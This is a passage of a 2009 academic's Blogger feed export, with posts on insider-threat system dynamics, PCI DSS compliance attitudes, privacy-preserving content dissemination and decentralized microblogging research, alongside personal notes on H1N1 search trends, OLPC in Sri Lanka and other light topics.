FETHR: Open, Decentralized Microblogging&lt;/a&gt; by researchers at the Rice university.&lt;br /&gt;Abstract:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Microblogging, as exemplified by Twitter, is gaining popularity as a way to exchange short  messages within social networks. However, the limitations of current microblog services—proprietary, centralized, and isolated—threaten the long-term viability of this new medium. In&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;this work we investigate the current state of microblogging and envision an open, distributed micropublishing service that addresses the weaknesses of today’s systems. We draw on traces taken from Twitter to characterize the microblogging workload. Our proposal, fethr, connects&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;micropublishers large and small in a single global network. New messages are gossiped among subscribers using a lightweight http-based protocol. Cryptographic measures protect authenticity and continuity of updates and prove message ordering even across providers.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5587385176210935274?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5587385176210935274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5587385176210935274' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5587385176210935274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5587385176210935274'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/10/open-decentralized-microblogging.html' title='Open decentralized microblogging'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3419260557495314200</id><published>2009-09-30T12:42:00.007-04:00</published><updated>2009-09-30T15:28:12.075-04:00</updated><title type='text'>Too much trust is not a good thing</title><content type='html'>In any organization, you won't disagree that we need to have some level of trust in order to have a healthy working environment. Project managers trust developers to meet deliverables and develop according to the specification. System/network administrators are trusted not only to keep the infrastructure functional but also safe-guard from outsiders. Hospital employees are trusted not to misuse patient records. Bank employees are trusted not to misuse/illegally modify financial records. This very own trust could be a negative factor. I found &lt;a href="http://www.cert.org/archive/pdf/InsiderThreatSystemDynamics.pdf"&gt;this interesting report&lt;/a&gt; which explains three traps. The report is a result of a workshop of 25 research from various disciplines in 2004 to come up with a systems dynamic model in order to better understand insider threats/attacks.&lt;br /&gt;&lt;br /&gt;The following diagram shows a simplified version of the full systems dynamic model. '+' indicates a proportional relationship and '-' indicates a inversely proportional relationship.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/SsOOh9CSB6I/AAAAAAAABz4/DdInUPkQviQ/s1600-h/full.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 171px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/SsOOh9CSB6I/AAAAAAAABz4/DdInUPkQviQ/s320/full.jpg" alt="" id="BLOGGER_PHOTO_ID_5387306293236205474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Detection trap:&lt;br /&gt;Have you ever wondered, most of the time when an organization comes under an attack, they are usually under-invested on security control or they don't have any security controls at all? The detection extracted from the above diagram is a good explanation of this observation.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/SsOPZmvE8hI/AAAAAAAAB0A/l5G4rHPxXfA/s1600-h/detection.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 231px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/SsOPZmvE8hI/AAAAAAAAB0A/l5G4rHPxXfA/s320/detection.jpg" alt="" id="BLOGGER_PHOTO_ID_5387307249322750482" border="0" /&gt;&lt;/a&gt;When the organization's perceived risk increases, the management is willing to invest on detection measurements (in the hope that the perceived risks will lower). With better detection mechanisms, it is likely to detect more insider attacks/attempts for such attacks. When the number of cases go up, it is natural to perceive that the organization is under higher risk. See, this loop feedbacks. At the same time the inverse is also true! At some point in time, the organization may perceive that the perceived level of risk is low (due to better education, better controls in place, better management, etc.). This motivates the management to invest less on detection capabilities. With a few measures to catch wrong doing, it is like that not many cases are caught. Now the organization may perceive even less risk as not many cases are detected. Notice the loop feedbacks in this case as well. Hence the detection trap.&lt;br /&gt;&lt;br /&gt;Trust trap:&lt;br /&gt;Sometimes, good intentional measurements from the management may themselves lead to attacks. The following digram shows how it unfolds with the level of trust the management has on its on employees.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/SsOqnbTq1hI/AAAAAAAAB0I/DnDFFp97QR0/s1600-h/trust.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 267px; height: 282px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/SsOqnbTq1hI/AAAAAAAAB0I/DnDFFp97QR0/s320/trust.jpg" alt="" id="BLOGGER_PHOTO_ID_5387337173587121682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;When the management perceives a higher trust on the employees, they may decide that they don't need to have extensive security controls to monitor their employs in the belief that there will be hardly any employee who will turn an enemy of the company. With less detection capabilities, it is natural to see that there will only be a few detected attacks while many go unnoticed. With fewer reported attacks, the managerial trust goes even higher. This loop also feedbacks and hence creates the trust trap. Why does it happen like this? One possible reason, as the loop feedbacks, the perceived level of risk by the employees of getting caught falls down.&lt;br /&gt;&lt;br /&gt;Unobserved emboldening:&lt;br /&gt;While those two pitfalls continue to feedback, the following shows how the perception of risk by the employees/insiders change and then lead to full blown attacks.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/SsOswVRg9sI/AAAAAAAAB0Q/ktcJlPJFKOo/s1600-h/emboldening.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 315px; height: 259px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/SsOswVRg9sI/AAAAAAAAB0Q/ktcJlPJFKOo/s320/emboldening.jpg" alt="" id="BLOGGER_PHOTO_ID_5387339525609551554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;When an insider attempts to do something wrong and it goes unnoticed, their perceived risk of doing that falls down. Hence, they they tend to do more probing. Notice that this loop also feedbacks, lower the perceived risk each iteration. (This scenario is true with other situations. When a person does something that is not acceptable by the society and it goes unnoticed, that person may tend to even bigger crimes. It does not always need to be a crime. The intention could innocuous. For example, a person may speed for fun. If that person is never copped, they may be tempted to go even faster.) When the perceived risk goes below a certain threshold, the insider may carry out the actual attack.&lt;br /&gt;&lt;br /&gt;It should be noted that not all insiders act like this. In fact, this is only the minority. (Security controls are there to protect against a few bad people while making sure the good majority is not negatively affected by these measurements) This happens only when things go wrong, when things don't work out the way the employees want - for example - no recognition for work, no bonus/salary increase or less pay, possibility of being laid off, etc. In any case, in order to have a healthy and safe working environment, the management need to show a certain level of trust while keeping the perceived level of risk (as perceived by insiders) at an acceptable level (e.g. by training, by legally prosecuting wrong doers, security controls, etc.).&lt;br /&gt;&lt;br /&gt;Ref: Preliminary System Dynamics Maps of the Insider Cyber-threat Problem, 2004.&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3419260557495314200?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3419260557495314200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3419260557495314200' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3419260557495314200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3419260557495314200'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/too-much-trust-is-not-good-thing.html' title='Too much trust is not a good thing'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/SsOOh9CSB6I/AAAAAAAABz4/DdInUPkQviQ/s72-c/full.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5428871591236124912</id><published>2009-09-30T10:20:00.003-04:00</published><updated>2009-09-30T10:31:04.103-04:00</updated><title type='text'>Insider Threats: People-Process-Control</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/SsNqNJJz1PI/AAAAAAAABzw/INQjSznQX1E/s1600-h/PogoEnemy.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 210px; height: 320px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/SsNqNJJz1PI/AAAAAAAABzw/INQjSznQX1E/s320/PogoEnemy.jpg" alt="" id="BLOGGER_PHOTO_ID_5387266353293153522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I recently did a presentation on the $subject. You can access the slides from &lt;a href="http://www.cs.purdue.edu/homes/nabeel/pdf/IT_PPC.pdf"&gt;here&lt;/a&gt;. I used to think that if you have nearly perfect security control in place, you have a higher probability of surviving from malicious attacks. But the more I work in this area, the more I am convinced that technology plays only a partial role; People and Process play a bigger role. It is more evident if you look at insider attacks; these are carried out by people who have legitimate access to the systems/resources.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5428871591236124912?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5428871591236124912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5428871591236124912' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5428871591236124912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5428871591236124912'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/insider-threats-people-process-control.html' title='Insider Threats: People-Process-Control'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tMhXppp4NpE/SsNqNJJz1PI/AAAAAAAABzw/INQjSznQX1E/s72-c/PogoEnemy.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1872110454784089348</id><published>2009-09-26T13:30:00.002-04:00</published><updated>2009-09-26T13:54:16.054-04:00</updated><title type='text'>The power of wikipedia :)</title><content type='html'>&lt;a href="http://www.phdcomics.com/comics/archive.php?comicid=1230"&gt;Softball rules&lt;/a&gt;.. (credit &lt;a href="http://www.phdcomics.com/"&gt;PhD comics&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Yesterday, we wanted to double-check the &lt;a href="http://en.wikipedia.org/wiki/Wallyball"&gt;wallyball&lt;/a&gt; (not volleyball) rules.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1872110454784089348?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1872110454784089348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1872110454784089348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1872110454784089348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1872110454784089348'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/power-of-wikipedia.html' title='The power of wikipedia :)'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4461606238826855906</id><published>2009-09-26T11:42:00.004-04:00</published><updated>2009-09-26T12:26:19.112-04:00</updated><title type='text'>Thought of the day</title><content type='html'>We all have ability. The difference is how we use it.&lt;br /&gt;~Stevie Wonder&lt;br /&gt;&lt;br /&gt;This is very true. I always believe that each and everyone of us can do almost anything that others have done/have been doing and more! It is just that some people need some guidance/direction to figure out their abilities and put them into good use. For example, as a kid, I was terrible in math and didn't like it much at that time. (my early school records indicate this). However, with time (different people triggers at different times), good guidance (will never forget a few very special people) and self-motivation (encountered a few incidents which made me think hard), I turned math into one of my favorite subjects.&lt;br /&gt;&lt;br /&gt;On a related note, I know some people who are really talented but are unfortunate in one way or the other (mainly due to factors out of their control - only the God knows why). They deserve our help who are blessed with many things in life. Making a difference is harder than earning money which comes and goes..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4461606238826855906?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4461606238826855906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4461606238826855906' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4461606238826855906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4461606238826855906'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/thought-of-day.html' title='Thought of the day'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4040350694262748899</id><published>2009-09-24T23:13:00.005-04:00</published><updated>2009-09-24T23:32:00.491-04:00</updated><title type='text'>My personal information at your business is not safe!</title><content type='html'>I was surprised to see the following results from &lt;a href="http://news.cnet.com/8301-1009_3-10360639-83.html?part=rss&amp;amp;subj=news&amp;amp;tag=2547-1009_3-0-20"&gt;a recent survey&lt;/a&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/Srw1yWHs6NI/AAAAAAAABzg/8gC2BmtiOfQ/s1600-h/orgs_attitudes_PCI_DSS.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 146px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/Srw1yWHs6NI/AAAAAAAABzg/8gC2BmtiOfQ/s320/orgs_attitudes_PCI_DSS.png" alt="" id="BLOGGER_PHOTO_ID_5385238393475885266" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tMhXppp4NpE/Srw15EO_1gI/AAAAAAAABzo/dhazJX_CBdY/s1600-h/orgs_compliant_PCI_DSS2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 165px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/Srw15EO_1gI/AAAAAAAABzo/dhazJX_CBdY/s320/orgs_compliant_PCI_DSS2.png" alt="" id="BLOGGER_PHOTO_ID_5385238508933731842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;(Credit: &lt;a href="http://www.imperva.com/"&gt;Impreva&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;This is a good example about the fact that many organizations do not view security as a top priority. The management is not willing to invest extra money to comply with security standards - especially true for small companies. They don't see the ROI (unless the security is breached). It is interesting to see more than half don't have faith in standards (&lt;a href="https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml"&gt;PCI DSS&lt;/a&gt;); is it due to lack of knowledge about the standards or is it perceived to be more costly to have security measure in place compared recovering from a security breach? On second thought, I shouldn't be surprised about these results considering the large-scale breaches (&lt;a href="http://news.cnet.com/ChoicePoint-Were-sorry-for-data-leak/2100-1029_3-5618515.html"&gt;1&lt;/a&gt;, &lt;a href="http://news.cnet.com/Credit-card-breach-exposes-40-million-accounts/2100-1029_3-5751886.html"&gt;2&lt;/a&gt;, &lt;a href="http://news.cnet.com/8301-10789_3-9898417-57.html"&gt;3&lt;/a&gt;, &lt;a href="http://news.cnet.com/TJX-says-45.7-million-customer-records-were-compromised/2100-1029_3-6171671.html"&gt;4&lt;/a&gt;, &lt;a href="http://news.cnet.com/UCLA-break-in-puts-data-on-800%2C000-at-risk/2100-1029_3-6143003.html"&gt;5&lt;/a&gt;) we continue to see.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4040350694262748899?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4040350694262748899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4040350694262748899' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4040350694262748899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4040350694262748899'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/my-personal-information-at-your.html' title='My personal information at your business is not safe!'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tMhXppp4NpE/Srw1yWHs6NI/AAAAAAAABzg/8gC2BmtiOfQ/s72-c/orgs_attitudes_PCI_DSS.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4399028839216613243</id><published>2009-09-10T21:26:00.003-04:00</published><updated>2009-09-10T21:36:05.333-04:00</updated><title type='text'>OLPC reaching SL students</title><content type='html'>It is good to see &lt;a href="http://www.dailynews.lk/2009/09/11/news20.asp"&gt;OLPC reaching underprivileged schools in Sri Lanka&lt;/a&gt;. These XO laptops are equipped with &lt;a href="http://wiki.laptop.org/go/OLPC_Sri_Lanka"&gt;local languages as well&lt;/a&gt;. I personally prefer if students are taught to use in English language; this will not only shink the gap of IT skills in urban (mainly in and around Colombo, and some other main cities)  and rural areas, but also English language skills.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4399028839216613243?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4399028839216613243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4399028839216613243' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4399028839216613243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4399028839216613243'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/olpc-reaching-sl-students.html' title='OLPC reaching SL students'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8870477542693422160</id><published>2009-09-10T01:21:00.005-04:00</published><updated>2009-09-10T01:27:36.252-04:00</updated><title type='text'>Our ICDE 2010 paper</title><content type='html'>&lt;span&gt;Our paper "A Privacy-Preserving Approach to Policy-Based Content Dissemination", Ning Shang, Mohamed Nabeel, Federica Paci, Elisa Bertino is to appear in the upcoming ICDE (International Conference in Data Engineering) 2010 conference. The acceptance rate for full papers is around 12.5%&lt;/span&gt;&lt;span style="font-style: italic;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Abstract:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;We propose a novel scheme for selective distribution of content, encoded as documents, that preserves the privacy of the users to whom the documents are delivered and is based on an efficient and novel group key management scheme. Our document broadcasting approach is based on access control policies specifying which users can access which documents, or subdocuments. Based on such policies, a broadcast document is segmented into multiple subdocuments, each encrypted with a different key. In line with modern attribute-based access control, policies are specified against identity attributes of users. However our broadcasting approach is privacy-preserving in that users are granted access to a specific document, or subdocument, according to the policies without the need of providing in clear information about their identity attributes to the document publisher. Under our approach, not only does the document publisher not learn the values of the identity attributes of users, but it also does not learn which policy conditions are verified by which users, thus inferences about the values of identity attributes are prevented. Moreover, our key management scheme on which the proposed broadcasting approach is based is efficient in that it does not require to send the decryption keys to the users along with the encrypted document. Users are able to reconstruct the keys to decrypt the authorized portions of a document based on subscription information they have received from the document publisher. The scheme also efficiently handles new subscription of users and revocation of subscriptions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I am planning to make slides and other materials related to this work available to everyone soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8870477542693422160?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8870477542693422160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8870477542693422160' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8870477542693422160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8870477542693422160'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/our-icde-2010-paper.html' title='Our ICDE 2010 paper'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-235865205777540704</id><published>2009-09-09T17:22:00.002-04:00</published><updated>2009-09-09T17:25:16.523-04:00</updated><title type='text'>Meditation..</title><content type='html'>The geek way of meditation :)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/Sqgcy1sV6ZI/AAAAAAAABzY/B1qrIc1QwsQ/s1600-h/meditation-703570.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 280px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/Sqgcy1sV6ZI/AAAAAAAABzY/B1qrIc1QwsQ/s320/meditation-703570.jpg" alt="" id="BLOGGER_PHOTO_ID_5379581414626158994" border="0" /&gt;&lt;/a&gt;(Source: &lt;a href="http://www.geekculture.com/joyoftech/"&gt;The joy of tech&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-235865205777540704?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/235865205777540704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=235865205777540704' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/235865205777540704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/235865205777540704'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/meditation.html' title='Meditation..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/Sqgcy1sV6ZI/AAAAAAAABzY/B1qrIc1QwsQ/s72-c/meditation-703570.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6589719650193279118</id><published>2009-09-02T16:00:00.002-04:00</published><updated>2009-09-02T16:14:39.980-04:00</updated><title type='text'>Flu trend</title><content type='html'>Now that &lt;a href="http://www.purdue.edu"&gt;Purdue&lt;/a&gt; has increased the awareness on H1N1 Influenza, I just wanted to see how it is being treated in rest of the world. I used &lt;a href="http://www.google.com/trends"&gt;Google Trends&lt;/a&gt; assuming the volume of search is roughly proportional to what I am after (there may be better tools for this?). Looks like Asians are more obsessed with &lt;a href="http://www.google.com/trends?q=h1n1&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=2009&amp;amp;sort=0"&gt;H1N1&lt;/a&gt; Influenza (aka swine flu). Also checked the trend in USA..people in USA have also started to&lt;a href="http://www.google.com/trends?q=h1n1&amp;amp;ctab=0&amp;amp;geo=us&amp;amp;geor=all&amp;amp;date=2009&amp;amp;sort=0"&gt; search on H1N1 again&lt;/a&gt; from last month; there's a similar tend in &lt;a href="http://www.google.com/trends?q=h1n1&amp;amp;ctab=0&amp;amp;geo=us&amp;amp;geor=usa.in&amp;amp;date=2009&amp;amp;sort=0"&gt;Indiana state&lt;/a&gt; (looking at the cities it appears to be mainly by people in universities P, IU, IUPUI) .&lt;br /&gt;&lt;a href="http://www.google.com/trends?q=h1n1&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=2009&amp;amp;sort=0"&gt;&lt;br /&gt;H1N1&lt;/a&gt; - All regions in 2009 for the term H1N1&lt;br /&gt;&lt;a href="http://www.google.com/trends?q=%22swine+flu%22&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=2009&amp;amp;sort=0"&gt;Swine flu&lt;/a&gt; - All regions in 2009 for the term "swine flu"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6589719650193279118?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6589719650193279118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6589719650193279118' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6589719650193279118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6589719650193279118'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2009/09/flu-trend.html' title='Flu trend'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
